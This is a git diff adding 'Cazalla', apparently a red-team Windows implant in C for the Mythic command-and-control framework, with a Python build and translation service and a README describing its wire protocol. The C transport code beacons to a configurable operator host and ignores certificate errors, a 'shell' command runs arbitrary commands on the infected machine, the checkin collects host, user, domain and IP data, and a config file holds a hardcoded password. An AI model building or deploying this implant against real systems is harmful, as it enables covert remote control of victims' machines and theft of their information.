0000000..662f421 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h @@ -0,0 +1,31 @@ +#pragma once + +#ifndef PAQUETE_H +#define PAQUETE_H + +#include "utils.h" +#include "transporte.h" +#include "analizador.h" + +#define TASK_COMPLETE 0x95 +#define TASK_FAILED 0x99 + +typedef struct { + + PVOID buffer; + SIZE_T length; + +}Paquete, * PPaquete; + +PPaquete nuevoPaquete(BYTE idComando, BOOL init); +VOID liberarPaquete(PPaquete paquete); +PAnalizador mandarPaquete(PPaquete paquete); + +BOOL addByte(PPaquete paquete, BYTE byte); +BOOL addInt32(PPaquete paquete, UINT32 valor); +BOOL addInt64(PPaquete paquete, UINT64 valor); +BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia); +BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia); +BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c new file mode 100644 index 0000000..b872f6c --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c @@ -0,0 +1,123 @@ +#include "transporte.h" + +int obtenerCodigoDeEstado(HANDLE hPeticion) { + + DWORD codigoDeEstado = 0; + DWORD tamanoEstado = sizeof(DWORD); + if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX)) + return 0; + return codigoDeEstado; +} + +Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { + HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL; + DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0; + PVOID respBuffer = NULL; + DWORD respSize = 0; + UCHAR buffer[1024] = { 0 }; + DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; + + // Configuración de Proxy + WINHTTP_PROXY_INFO infoProxy = { 0 }; + WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 }; + WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 }; + + DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY; + LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME; + LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS; + + if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) { + tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY; + httpProxy = cazallaConfig->urlProxy; + } + + if (cazallaConfig->SSL) { + httpFlags |= WINHTTP_FLAG_SECURE; + } + + // Crear sesión HTTP + hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); + if (!hSesion) return NULL; + + // Conectar al servidor + hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); + if (!hConexion) return NULL; + + // Crear petición HTTP/HTTPS + hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags); + if (!hPeticion) return NULL; + + // Configurar opciones de seguridad si es HTTPS + if (cazallaConfig->SSL) { + DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + + WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD)); + } + + // Configurar proxy si está habilitado + if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) { + if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) { + infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; + infoProxy.lpszProxy = configuracionProxy.lpszProxy; + infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass; + WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy)); + } + } + + // Enviar la petición + if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) { + _err("WinHttpSendRequest falló con error %u\n", GetLastError()); + return NULL; + } + + // Recibir respuesta + if (!WinHttpReceiveResponse(hPeticion, NULL)) { + _err("Error al recibir respuesta HTTP\n"); + return NULL; + } + + codigoDeEstado = obtenerCodigoDeEstado(hPeticion); + if (codigoDeEstado != 200) { + _err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado); + return NULL; + } + + // Leer respuesta + do { + dwTamano = 1024; + if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) { + printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError()); + return NULL; + } + + if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) { + printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError()); + return NULL; + } + + respSize += dwDescargado; + if (!respBuffer) { + respBuffer = LocalAlloc(LPTR, respSize); + } + else { + respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT); + } + + memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado); + memset(buffer, 0, 1024); + + } while (dwTamano > 0); + + respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); + return nuevoAnalizador((PBYTE)respBuffer, respSize); +} +Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) { + +#ifdef HTTP_TRANSPORT + return realizarPeticionHTTP(datos, tamano); +#endif + return NULL; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h new file mode 100644 index 0000000..7635e37 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h @@ -0,0 +1,16 @@ +#pragma once +#ifndef TRANSPORTE +#define TRANSPORTE + +#include +#include +#include "cazalla.h" +#include "analizador.h" + +#pragma comment(lib, "winhttp.lib") + +#define HTTP_TRANSPORT + +Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c new file mode 100644 index 0000000..d7b034c --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c @@ -0,0 +1,193 @@ +#include "utils.h" + +int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, + 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, + 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, + 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, + 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, + 43, 44, 45, 46, 47, 48, 49, 50, 51 }; + +const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + + +size_t b64tamanoCodificado(size_t inlen) { + + size_t ret; + + ret = inlen; + if (inlen % 3 != 0) + ret += 3 - (inlen % 3); + ret /= 3; + ret *= 4; + + return ret; +} + +char* b64Codificado(const unsigned char* in, SIZE_T len) { + + char* out; + SIZE_T elen; + SIZE_T i; + SIZE_T j; + SIZE_T v; + + if (in == NULL || len == 0) { + return NULL; + } + + elen = b64tamanoCodificado(len); + out = (char*)LocalAlloc(LPTR, elen + 1); + if (!out) { + return NULL; + } + out[elen] = '\0'; + + for (i = 0, j = 0; i < len; i += 3, j += 4) { + + v = in[i]; + v = i + 1 < len ? v << 8 | in[i + 1] : v << 8; + v = i + 2 < len ? v << 8 | in[i + 2] : v << 8; + + out[j] = b64chars[(v >> 18) & 0x3F]; + out[j + 1] = b64chars[(v >> 12) & 0x3F]; + if (i + 1 < len) { + + out[j + 2] = b64chars[(v >> 6) & 0x3F]; + } + else { + + out[j + 2] = '='; + } + if (i + 2 < len) { + + out[j + 3] = b64chars[v & 0x3F]; + } + else { + out[j + 3] = '='; + } + } + + return out; +} + +SIZE_T b64tamanoDecodificado(const char* in) { + + SIZE_T len; + SIZE_T ret; + SIZE_T i; + + if (in == NULL) { + return 0; + } + + len = strlen(in); + ret = len / 4 * 3; + + for (i = len; i-- > 0; ) { + if (in[i] == '=') { + ret--; + } + else { + break; + } + } + + return ret; +} + +int b64IsValidChar(char c) { + + if (c >= '0' && c <= '9') { + return 1; + } + + if (c >= 'A' && c <= 'Z') { + return 1; + } + + if (c >= 'a' && c <= 'z') { + return 1; + } + + if (c == '+' || c == '/' || c == '=') { + return 1; + } + + return 0; +} + + +int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) { + + SIZE_T len; + SIZE_T i; + SIZE_T j; + int v; + + if (in == NULL || out == NULL) { + return 0; + } + + len = strlen(in); + if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) { + return 0; + } + + for (i = 0; i < len; i++) { + if (!b64IsValidChar(in[i])) { + return 0; + } + } + + for (i = 0, j = 0; i < len; i += 4, j += 3) { + v = b64invs[in[i] - 43]; + v = (v << 6) | b64invs[in[i + 1] - 43]; + v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43]; + v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43]; + + out[j] = (v >> 16) & 0xFF; + if (in[i + 2] != '=') { + out[j + 1] = (v >> 8) & 0xFF; + } + if (in[i + 3] != '=') { + out[j + 2] = v & 0xFF; + + } + } + return 1; +} + + +VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) { + + (buffer)[0] = (value >> 24) & 0xFF; + (buffer)[1] = (value >> 16) & 0xFF; + (buffer)[2] = (value >> 8) & 0xFF; + (buffer)[3] = (value) & 0xFF; +} + +VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) { + + buffer[7] = value & 0xFF; + value >>= 8; + + buffer[6] = value & 0xFF; + value >>= 8; + + buffer[5] = value & 0xFF; + value >>= 8; + + buffer[4] = value & 0xFF; + value >>= 8; + + buffer[3] = value & 0xFF; + value >>= 8; + + buffer[2] = value & 0xFF; + value >>= 8; + + buffer[1] = value & 0xFF; + value >>= 8; + + buffer[0] = value & 0xFF; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h new file mode 100644 index 0000000..b998517 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h @@ -0,0 +1,25 @@ +#pragma once +#ifndef UTILS +#define UTILS +#include +#include "debug.h" + + +#ifdef __MINGW64__ +#define BYTESWAP32(x) __builtin_bswap32( x ) +#define BYTESWAP64(x) __builtin_bswap64( x ) +#endif +#ifdef _MSC_VER +#define BYTESWAP32(x) _byteswap_ulong(x) +#define BYTESWAP64(x) _byteswap_uint64(x) +#endif + +SIZE_T b64tamanoDecodificado(const char* in); +int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen); +char* b64Codificado(const unsigned char* in, SIZE_T len); +size_t b64tamanoCodificado(size_t inlen); + + +VOID addInt64ToBuffer(PBYTE buffer, UINT64 value); +VOID addInt32ToBuffer(PBYTE buffer, UINT32 value); +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_functions/__init__.py b/Payload_Type/cazalla/cazalla/agent_functions/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Payload_Type/cazalla/cazalla/agent_functions/builder.py b/Payload_Type/cazalla/cazalla/agent_functions/builder.py new file mode 100644 index 0000000..d901cfb --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/builder.py @@ -0,0 +1,131 @@ +import pathlib +import tempfile +from mythic_container.PayloadBuilder import * +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json +from distutils.dir_util import copy_tree +import asyncio + + +class CazallaAgent(PayloadType): + name = "Cazalla" + file_extension = "exe" + author = "OFSTeam" + supported_os = [SupportedOS.Windows] + wrapper = False + wrapped_payloads = [] + note = """C implant Developed by the Kaseya OFSTeam""" + supports_dynamic_loading = False + c2_profiles = ["http"] + mythic_encrypts = False + translation_container = "cazalla_translator" + build_parameters = [ + BuildParameter( + name="output", + parameter_type=BuildParameterType.ChooseOne, + description="Choose output format", + choices=["exe", "dll", "debug_exe","debug_dll"], + default_value="exe" + ), + ] + agent_path = pathlib.Path(".") / "cazalla" + agent_icon_path = agent_path / "agent_functions" / "cazalla.png" + agent_code_path = agent_path / "agent_code" + + build_steps = [ + BuildStep(step_name="Gathering Files", step_description="Creating script payload"), + BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"), + BuildStep(step_name="Compiling", step_description="Compiling with mingw"), + ] + + async def build(self) -> BuildResponse: + # this function gets called to create an instance of your payload + resp = BuildResponse(status=BuildStatus.Success) + Config = { + "payload_uuid": self.uuid, + "callback_host": "", + "USER_AGENT": "", + "httpMethod": "POST", + "post_uri": "", + "headers": [], + "callback_port": 80, + "ssl":False, + "proxyEnabled": False, + "proxy_host": "", + "proxy_user": "", + "proxy_pass": "", + } + stdout_err = "" + for c2 in self.c2info: + profile = c2.get_c2profile() + for key, val in c2.get_parameters_dict().items(): + if isinstance(val, dict) and 'enc_key' in val: + stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "") + encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else "" + else: + Config[key] = val + break + + if "https://" in Config["callback_host"]: + Config["ssl"] = True + + Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","") + if Config["proxy_host"] != "": + Config["proxyEnabled"] = True + # create the payload + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Gathering Files", + StepStdout="Found all files for payload", + StepSuccess=True + )) + agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) + copy_tree(str(self.agent_code_path), agent_build_path.name) + + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Applying configuration", + StepStdout="All configuration setting applied", + StepSuccess=True + )) + with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f: + content = f.read() + content = content.replace("%UUID%", Config["payload_uuid"]) + content = content.replace("%HOSTNAME%", Config["callback_host"]) + content = content.replace("%ENDPOINT%", Config["post_uri"]) + if Config["ssl"]: + content = content.replace("%SSL%", "TRUE") + else: + content = content.replace("%SSL%", "FALSE") + content = content.replace("%PORT%", str(Config["callback_port"])) + content = content.replace("%SLEEPTIME%", str(Config["callback_interval"])) + content = content.replace("%USERAGENT%", Config["USER_AGENT"]) + content = content.replace("%PROXYURL%", Config["proxy_host"]) + if Config["proxyEnabled"]: + content = content.replace("%PROXYENABLED%", "TRUE") + else: + content = content.replace("%PROXYENABLED%", "FALSE") + f.seek(0) + f.write(content) + f.truncate() + + command = "make -C {} exe".format(agent_build_path.name+"/cazalla") + filename = agent_build_path.name + "/cazalla/build/cazalla.exe" + proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE) + + stdout, stderr = await proc.communicate() + print(stdout) + print(stderr) + + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Compiling", + StepStdout="Successfuly compiled Ra", + StepSuccess=True + )) + build_msg = "" + resp.payload = open(filename, "rb").read() + + return resp diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cazalla.png b/Payload_Type/cazalla/cazalla/agent_functions/cazalla.png new file mode 100644 index 0000000..fadc967 Binary files /dev/null and b/Payload_Type/cazalla/cazalla/agent_functions/cazalla.png differ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cazalla.svg b/Payload_Type/cazalla/cazalla/agent_functions/cazalla.svg new file mode 100644 index 0000000..7647fb8 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/cazalla.svg @@ -0,0 +1,266 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/exit.py b/Payload_Type/cazalla/cazalla/agent_functions/exit.py new file mode 100644 index 0000000..d7c8631 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/exit.py @@ -0,0 +1,37 @@ +from mythic_container.MythicCommandBase import * +import json + + +class ExitArguments(TaskArguments): + + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + if len(self.command_line) > 0: + raise Exception("Este comando no debe tener parametros") + + +class ExitCommand(CommandBase): + cmd = "exit" + needs_admin = False + help_cmd = "exit" + description = "Salir del Callback" + version = 1 + supported_ui_features = ["callback_table:exit"] + author = "Kaseya OFSTeam" + argument_class = ExitArguments + attributes = CommandAttributes( + builtin=True, + supported_os=[ SupportedOS.Windows ], + suggested_command=True + ) + attackmapping = [] + + async def create_tasking(self, task: MythicTask) -> MythicTask: + return task + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/shell.py b/Payload_Type/cazalla/cazalla/agent_functions/shell.py new file mode 100644 index 0000000..7bccbc8 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/shell.py @@ -0,0 +1,44 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class ShellArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="command", + type=ParameterType.String, + description="Comando a ejecutar" + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Se debe indicar un comando") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + + +class ShellCommand(CommandBase): + cmd = "shell" + needs_admin = False + help_cmd = "shell {command}" + description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC" + version = 1 + author = "Kaseya OFSTeam" + attackmapping = ["T1059"] + argument_class = ShellArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows] + ) + + async def create_tasking(self, task: MythicTask) -> MythicTask: + task.display_params = task.args.get_arg("command") + return task + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/main.py b/Payload_Type/cazalla/main.py new file mode 100644 index 0000000..aec3d5d --- /dev/null +++ b/Payload_Type/cazalla/main.py @@ -0,0 +1,11 @@ +#from mywebhook.webhook import * +import mythic_container +import asyncio +import cazalla +#import websocket.mythic.c2_functions.websocket +from translator.translator import * +#from my_logger import logger +#from basic_command_augment import * +#from basic_eventer.my_eventing import * + +mythic_container.mythic_service.start_and_run_forever() \ No newline at end of file diff --git a/Payload_Type/cazalla/rabbitmq_config.json b/Payload_Type/cazalla/rabbitmq_config.json new file mode 100644 index 0000000..f6748ba --- /dev/null +++ b/Payload_Type/cazalla/rabbitmq_config.json @@ -0,0 +1,6 @@ +{ + "rabbitmq_host": "127.0.0.1", + "rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p", + "mythic_server_host": "127.0.0.1", + "debug_level": "debug" +} \ No newline at end of file diff --git a/Payload_Type/cazalla/requirements.txt b/Payload_Type/cazalla/requirements.txt new file mode 100644 index 0000000..897dd4b --- /dev/null +++ b/Payload_Type/cazalla/requirements.txt @@ -0,0 +1,9 @@ +aio-pika==9.0.4 +dynaconf==3.1.11 +ujson==5.7.0 +aiohttp==3.8.3 +psutil==5.9.4 +grpcio +grpcio-tools +mythic-container +pyaml \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/__init__.py b/Payload_Type/cazalla/translator/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py new file mode 100644 index 0000000..33021c8 --- /dev/null +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -0,0 +1,57 @@ +import json + + +commands = { + "get_tasking": {"hex_code": 0x00, "input_type": None}, + "checkin": {"hex_code": 0xf1, "input_type": None}, + "post_response": {"hex_code": 0x01, "input_type": None}, + "shell": {"hex_code": 0x54, "input_type": "string"}, + "exit": {"hex_code": 0x08, "input_type":None} +} + + +def responseTasking(tasks): + data = b"" + dataTask = b"" + + dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big") + + for task in tasks: + command_to_run = task["command"] + + if commands[command_to_run]["input_type"] == "string": + data = commands[command_to_run]["hex_code"].to_bytes(1, "big") + data += task["id"].encode() + + if task["parameters"] != "": + parameters = json.loads(task["parameters"]) + data += len(parameters).to_bytes(4,"big") + for param in parameters: + data += len(parameters[param]).to_bytes(4, "big") + data += parameters[param].encode() + else: + data += b"\x00\x00\x00\x00" + + dataTask += len(data).to_bytes(4, "big") + data + + elif commands[command_to_run]["input_type"] == "int": + print("Unsupported type (for now...)") + + dataToSend = dataHead + dataTask + + return dataToSend + + +def responseCheckin(uuid): + data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01" + return data + +def responsePosting(responses): + data = len(responses).to_bytes(4, "big") + for response in responses: + if response["status"] == "success": + data += b"\x01" + else: + data += b"\x00" + + return data \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py new file mode 100644 index 0000000..900c544 --- /dev/null +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -0,0 +1,96 @@ +from translator.utils import * +import ipaddress + +def checkIn(data): + + # Retrieve UUID + uuid = data[:36] + data = data[36:] + + # Retrieve IPs + numIPs = int.from_bytes(data[0:4]) + data = data[4:] + i = 0 + IPs = [] + while i < numIPs: + ip = data[:4] + data = data[4:] + addr = str(ipaddress.ip_address(ip)) + IPs.append(addr) + i += 1 + + # Retrieve OS + targetOS, data = getBytesWithSize(data) + + # Retrive Architecture + archOS = data[0] + if archOS == 0x64: + archOS = "x64" + elif archOS == 0x86: + archOS = "x86" + else: + archOS = "" + data = data[1:] + + # Retrieve HostName + hostname, data = getBytesWithSize(data) + + # Retrieve Username + username, data = getBytesWithSize(data) + + # Retrieve Domaine + domain, data = getBytesWithSize(data) + + # Retrieve PID + pid = int.from_bytes(data[0:4]) + data = data[4:] + + # Retrieve Process Name + processName, data = getBytesWithSize(data) + + #Retrieve External IP + externalIP, data = getBytesWithSize(data) + + dataJson = { + "action": "checkin", + "ips": IPs, + "os": targetOS.decode('cp850'), + "user": username.decode('cp850'), + "host": hostname.decode('cp850'), + "domain": domain.decode('UTF-16LE'), + "process_name":processName.decode('cp850'), + "pid": pid, + "uuid": uuid.decode('cp850'), + "architecture": archOS , + "externalIP": externalIP.decode('cp850'), + } + + return dataJson + + +def getTasking(data): + numTasks = int.from_bytes(data[0:4]) + dataJson = { "action": "get_tasking", "tasking_size": numTasks } + return dataJson + + +def postResponse(data): + + resTaks = [] + + uuidTask = data[:36] + data = data[36:] + output, data = getBytesWithSize(data) + jsonTask = { + "task_id": uuidTask.decode('cp850'), + "user_output":output.decode('cp850'), + } + + jsonTask["completed"] = True + resTaks.append(jsonTask) + + dataJson = { + "action": "post_response", + "responses": resTaks + } + return dataJson \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py new file mode 100644 index 0000000..b2d4d9e --- /dev/null +++ b/Payload_Type/cazalla/translator/translator.py @@ -0,0 +1,52 @@ +import json +import base64 +import binascii +import os + +from translator.utils import * +from translator.commands_from_c2 import * +from translator.commands_from_implant import * + +from mythic_container.TranslationBase import * + +class cazalla_translator(TranslationContainer): + name = "cazalla_translator" + description = "python translation service for the Kaseya C agent Cazalla" + author = "OFSTeam" + + async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse: + response = TrGenerateEncryptionKeysMessageResponse(Success=True) + response.DecryptionKey = b"" + response.EncryptionKey = b"" + return response + + async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse: + response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True) + print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message)) + if inputMsg.Message["action"] == "checkin": + print("Response CHECKIN") + response.Message = responseCheckin(inputMsg.Message["id"]) + elif inputMsg.Message["action"] == "get_tasking": + print("Response TASKING") + response.Message = responseTasking(inputMsg.Message["tasks"]) + elif inputMsg.Message["action"] == "post_response": + print("Response POSTREP") + response.Message = responsePosting(inputMsg.Message["responses"]) + return response + + async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: + response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) + print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850')) + #response.Message = json.loads(inputMsg.Message) + data = inputMsg.Message + if data[0] == commands["checkin"]["hex_code"]: + print("CHECK IN") + response.Message = checkIn(data[1:]) + elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING + print("GET TASKING") + response.Message = getTasking(data[1:]) + elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE + print("POST RESPONSE") + response.Message = postResponse(data[1:]) + + return response diff --git a/Payload_Type/cazalla/translator/utils.py b/Payload_Type/cazalla/translator/utils.py new file mode 100644 index 0000000..2349376 --- /dev/null +++ b/Payload_Type/cazalla/translator/utils.py @@ -0,0 +1,7 @@ +import base64 +import os + +def getBytesWithSize(data): + size = int.from_bytes(data[0:4]) + data = data[4:] + return data[:size], data[size:] \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..10bd321 --- /dev/null +++ b/README.md @@ -0,0 +1,185 @@ +# Cazalla - Basic Mythic Implant in C + +Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework. + +This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements. + +Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates. + +## Install Cazalla + +Once Mythic is installed and running, use the following command to install Cazalla: + +```sh +./mythic-cli install github +``` + +## Detection + +A YARA rule can be provided for detection purposes. + +## Communication Protocol + +### HEADER - Implant to C2 + +| Key | Key Len (bytes) | Type | +|---------|-------------------|------------| +| UUID | 36 | Str (char*)| +| Action | 1 | UInt32 | + +### HEADER - C2 to Implant + +| Key | Key Len (bytes) | Type | +|---------|-------------------|------------| +| Action | 1 | Int32 | + +UUID | BODY + +#### Checkin - Implant to C2 + +Expected: + +```json +{ + "action": "checkin", + "uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15", + "ip": "127.0.0.1", + "os": "win", + "arch": "x64", + "hostname": "PC", + "user": "bob", + "domain": "domain.com", + "pid": 123, + "processname": "malware.exe" +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| UUID | 36 | Str (char*) | +| Size IP | 4 | Uint32 | +| IP | Size IP | Str (char*) | +| Size OS | 4 | Uint32 | +| OS | Size OS | Str (char*) | +| Architecture | 1 | Int | +| Size Hostname | 4 | Uint32 | +| HostName | Size Hostname | Str (char*) | +| Size Username | 4 | Uint32 | +| Username | Size Username | Str (char*) | +| Size Domain | 4 | Uint32 | +| Domain | Size Domain | Str (char*) | +| PID | 4 | Uint32 | +| Size Process | 4 | Uint32 | +| Process Name | Size Process Name | Str (char*) | +| Size ExternIP | 4 | Uint32 | +| Extern IP | Size Extern IP | Str (char*) | + +### Checkin - C2 to Implant + +| Key | Key Len (bytes) | Type | +|----------|-------------------|-------------| +| New UUID | 36 | Str (char*) | +| Status | 1 | Byte | + +### GetTasking - Implant to C2 + +Expected: + +```json +{ + "action": "get_tasking", + "tasking_size": 1 +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Number tasks | 4 | Uint32 | + +### GetTasking - C2 to Implant + +Expected: + +```json +{ + "action": "get_tasking", + "tasks": [ + { + "command": "command name", + "parameters": "command param string", + "timestamp": 1578706611.324671, + "id": "task uuid" + } + ] +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| NumberOfTasks | 4 | Uint32 | +| Size Of Task1 | 4 | Uint32 | +| Task1 CMD | 1 | Int | +| Task1 UUID | 36 | Str (char*) | +| Task1 LenPara1| 4 | Uint32 | +| Task1 Param1 | LenParam1 Task1 | Str(char*) | + +### Post Response Header - Implant to C2 